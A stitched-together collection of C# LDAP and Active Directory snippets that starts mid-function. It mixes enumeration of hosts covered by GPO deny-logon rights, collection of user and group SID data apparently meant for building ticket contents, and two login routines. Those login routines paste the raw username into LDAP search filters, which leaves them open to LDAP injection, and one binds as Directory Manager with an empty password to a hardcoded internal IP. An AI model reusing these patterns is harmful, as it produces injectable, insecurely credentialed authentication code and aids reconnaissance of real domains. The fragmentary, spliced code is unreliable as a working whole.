DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicySeDenyNetworkLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicySeDenyNetworkLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); Console.Write("[+] SeDenyRemoteInteractiveLogonRight: \t"); foreach (var guid in listSeDenyRemoteInteractiveLogonRight) { DirectoryEntry startingPoint = null; string filterGPLink = "(&(objectCategory=organizationalUnit)(gplink=*" + guid + "*))"; if (string.IsNullOrEmpty(searchBase)) { startingPoint = new DirectoryEntry("LDAP://" + domain); } else { startingPoint = new DirectoryEntry("LDAP://" + domain + searchBase); } DirectorySearcher searcher = new DirectorySearcher(startingPoint); searcher.Filter = filterGPLink; foreach (SearchResult OU in searcher.FindAll()) { DirectoryEntry startingPoint1 = new DirectoryEntry(OU.Path); DirectorySearcher searcherOU = new DirectorySearcher(startingPoint1); searcherOU.Filter = "(&(samAccountType=805306369))"; foreach (SearchResult computerObject in searcherOU.FindAll()) { DirectoryEntry computer = computerObject.GetDirectoryEntry(); if (!(computerPolicySeDenyRemoteInteractiveLogonRight.Contains(computer.Properties["dNSHostName"].Value.ToString()))) { Console.Write("{0} ", computer.Properties["dNSHostName"].Value.ToString()); } computerPolicySeDenyRemoteInteractiveLogonRight.Add(computer.Properties["dNSHostName"].Value.ToString()); } } } Console.Write("\n"); }
public static uint[] GetGroupIds(SearchResultAttributeCollection attributes, string domainName, NetworkCredential cred) { LdapConnection connection = new LdapConnection(domainName); connection.Credential = cred; int groupCount = attributes["memberOf"].Count + 1; uint[] rid = new uint[groupCount]; //Fix me //The built-in groupmembership Domain Users Rid = 513 rid[0] = 513; for (int i = 1; i < groupCount; i++) { string dn = GetDomainDnFromDomainName(domainName); string targetOu = "cn=Users," + dn; string[] filter = attributes["memberOf"][i - 1].ToString().Split(','); SearchRequest searchRequest = new SearchRequest(targetOu, filter[0], SearchScope.Subtree, "objectSid"); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse.Entries.Count > 1) { throw new Exception("There are more than one entries with the same groupName."); } SearchResultAttributeCollection groupAttributes = searchResponse.Entries[0].Attributes; string[] tmp = GetobjectSid(groupAttributes).Split('-'); rid[i] = Convert.ToUInt32(tmp[tmp.Length - 1]); } return rid; }
public static uint[] GetDomainSid(string domainName, NetworkCredential cred) { LdapConnection connection = new LdapConnection(domainName); connection.Credential = cred; string dn = GetDomainDnFromDomainName(domainName); string filter = "(objectClass=*)"; SearchRequest searchRequest = new SearchRequest(dn, filter, SearchScope.Base, "objectSid"); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse.Entries.Count > 1) { throw new Exception("There are more than one entries with the same domain distinguishedName."); } SearchResultAttributeCollection domainObjAttributes = searchResponse.Entries[0].Attributes; string[] tmp = GetobjectSid(domainObjAttributes).Split('-'); uint[] domainSid = new uint[tmp.Length - 3]; for (int i=0; i<tmp.Length-3; i++) { domainSid[i] = Convert.ToUInt32(tmp[i + 3]); } return domainSid; }
public static commonUserFields GetCommonUserFields(string domainName, string userName, NetworkCredential cred) { LdapConnection connection = new LdapConnection(domainName); connection.Credential = cred; string dn = GetDomainDnFromDomainName(domainName); string targetOu = "cn=Users," + dn; string filter = "cn=" + userName; string[] attributesToReturn = new string[] { "lastLogon", "logonHours", "accountExpires", "pwdLastSet", "dBCSPwd", "unicodePwd", "userAccountControl", "logonCount", "badPwdCount", "objectSid", "primaryGroupID", "memberOf" }; commonUserFields userFields = new commonUserFields(); SearchRequest searchRequest = new SearchRequest(targetOu, filter, SearchScope.Subtree, attributesToReturn); SearchResponse searchResponse = (SearchResponse)connection.SendRequest(searchRequest); if (searchResponse.Entries.Count > 1) { throw new Exception("There are more than one entries with the same userName."); } SearchResultAttributeCollection attributes = searchResponse.Entries[0].Attributes; userFields.LogonTime = GetAttributeFileTime(attributes, "lastLogon"); userFields.LogonHours = GetAttributeFileTime(attributes, "logonHours"); userFields.AccountExpires = GetAttributeFileTime(attributes, "accountExpires"); userFields.LogoffTime = GetLogoffTime(userFields.LogonHours, userFields.AccountExpires); userFields.KickOffTime = GetKickoffTime(userFields.LogoffTime); userFields.PasswordLastSet = GetAttributeFileTime(attributes, "pwdLastSet"); userFields.dBCSPwd = GetAttributeFileTime(attributes, "dBCSPwd"); userFields.unicodePwd = GetAttributeFileTime(attributes, "unicodePwd"); userFields.PasswordCanChange = GetPasswordCanChange(userFields.dBCSPwd, userFields.unicodePwd, userFields.PasswordLastSet); object attributeValue = null; attributeValue = getAttributeValue(attributes, "userAccountControl"); userFields.userAccountControl = (uint?) Convert.ToInt32(attributeValue); userFields.PasswordMustChange = GetPasswordMustChange(userFields.userAccountControl, userFields.PasswordLastSet); userFields.LogonCount = GetAttributeUshort(attributes, "logonCount"); userFields.BadPwdCount = GetAttributeUshort(attributes, "badPwdCount"); userFields.objectSid = GetobjectSid(attributes); if (userFields.objectSid == null) { userFields.userId = null; } else { string[] tmp = userFields.objectSid.Split('-'); userFields.userId = Convert.ToUInt32(tmp[tmp.Length - 1]); } attributeValue = getAttributeValue(attributes, "primaryGroupID"); userFields.primaryGroupId = (uint?)Convert.ToInt32(attributeValue); userFields.groupCount = GetGroupCount(attributes); if (userFields.groupCount > 0) { userFields.groupIds = GetGroupIds(attributes, domainName, cred); } userFields.domainSid = GetDomainSid(domainName, cred); return userFields; }
public DirectoryEntry Validate(string username, string password) { var config = Config.Get<Settings>(); var directory = new LdapDirectoryIdentifier( config.Host, config.Port, fullyQualifiedDnsHostName: true, connectionless: false); var credential = new NetworkCredential( config.Username, config.Password); var ldapConnection = new LdapConnection(directory, credential) { AuthType = AuthType.Basic }; try { ldapConnection.SessionOptions.ProtocolVersion = 3; var request = new SearchRequest( config.DistinguishedName, "(&(objectClass=*)(uid=" + username + "))", SearchScope.Subtree, new string[] { "uid", "givenName", "sn", "mail" }); var result = (SearchResponse)ldapConnection.SendRequest(request); if (result.Entries.Count == 0) return null; var item = result.Entries[0]; try { ldapConnection.Bind(new NetworkCredential(item.DistinguishedName, password)); } catch (Exception ex) { Log.Error("Error authenticating user", ex, this.GetType()); return null; } // make sure to check these attribute names match with your LDAP attributes var uid = item.Attributes["uid"]; var firstName = item.Attributes["givenName"]; var lastName = item.Attributes["sn"]; var email = item.Attributes["mail"]; var entry = new DirectoryEntry { Username = uid[0] as string, FirstName = uid.Count > 0 ? firstName[0] as string : null, LastName = lastName.Count > 0 ? lastName[0] as string : null, Email = email.Count > 0 ? email[0] as string : null }; return entry; } finally { try { ldapConnection.Dispose(); } catch { } } }
//private string _path; //private string _filterAttribute; //private ILog log; //public LdapAuthentication(string path) //{ // _path = path; // log = LogManager.GetLogger(this.GetType()); //} public static bool IsAuthenticated(string username, string pwd) { //string domainAndUsername = (String.IsNullOrEmpty(domain) ? "" : @"\") + username; try { var credential = new NetworkCredential("cn=Directory Manager", ""); var entry = new LdapConnection("10.243.1.123") { AuthType = AuthType.Basic, Credential = credential }; entry.SessionOptions.ProtocolVersion = 3; entry.Bind(); var searchRequest = new SearchRequest("dc=gmcc,dc=net", "uid=" + username, SearchScope.Subtree); var a = (SearchResponse)entry.SendRequest(searchRequest, new TimeSpan(0, 0, 0, 30)); if (a.Entries.Count == 0) return false; try { var newC = new NetworkCredential(a.Entries[0].DistinguishedName, pwd); entry.Credential = newC; entry.Bind(); } catch { return false; } return true; } catch (Exception ex) { throw new Exception("Error authenticating user. " + ex.Message); } }